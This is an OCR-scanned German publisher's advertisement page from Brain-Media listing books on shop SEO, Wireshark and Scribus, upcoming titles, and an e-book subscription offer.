wenig die Werbetrommel rihren und den
Shop fur Google & Co. optimieren. Mit weni-
gen Handgriffen machen Sie lhren Online-
Shop SEO-fest und maximieren |hre Verkau-
fe.

ehincnapiicnng Umfang: 100 Seiten
ISBN: 978-3-95444-098-6
Preis: 14,80 EUR

Wireshark kompakt

Wireshark ist der mit Abstand beliebteste
Spezialist fur die Netzwerk- und Protokollana-
lyse. In diesem Handbuch lernen Sie, wie Sie
mit dem Tool typische Administratoraufgaben
bewaltigen. Das Buch beschrankt sich dabei
auf die wesentlichen Aktionen, die im Admin-
Alltag auf Sie warten, und verzichtet bewusst
auf Uberflissigen Ballast.

Umfang: 170 Seiten
ISBN: 978-3-95444-176-1
Preis: 16,80 EUR

Scribus 1.5 kompakt

Scribus ist langst ein ebenburtiger Gegenspie-

Halger Reibiold
Scribus 1.5 kompakt ler von InDesign & Co. In unserem Handbuch
erfahren Sie alles, was Sie fir den erfolgrei-
chen Einstieg wissen missen.

460 Seiten Praxis-Know-how. Dazu viele
Tausend ClipArts und Schriften zum kostenlo-
sen Download.

Alles Wichtige fir den erfolgreichen Einsteig Umfang: 460 Seiten
= I das Desktop Publishing it Seribus ISBN: 978-3-95444-124-2
Preis: 27,80 EUR
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Weitere Titel in Vorbereitung

Wir bauen unser Programm kontinuierlich aus. Aktuell befinden sich folgende
Titel in Vorbereitung:

Android Forensik
Android Security
Alfresco 5.0 kompakt
WLAN Security
WordPress 4.x kompakt
Smart Home kompakt

Das papierlose Biro

Plus+

Plus+ — unser neues Angebot fir Sie ... alle E-Books im Abo. Sie kénnen 1 Jahr
ale Brain-Media-Bucher as E-Book herunterladen und diese auf Ihrem PC, Tab-
let, iPad und Kindle verwenden — und das ohne irgendwelche Einschrankungen.
Das Beste: Plust schliefdt auch alle jene Blicher ein, die in diesem Jahr noch er-
scheinen.

Und das zum Sonder preisvon 29 Euro! Ein unschlagbar es Angebot!

Auf unserer Website steht ein detaillierter Uberblick aller Titel im PDF-Format
zum Download bereit (ca. 6,2 MB), der bereits zu Plust+ gehtrende Titel auffihrt
und die in naher Zukunft hinzukommen.

www.brain-media.de
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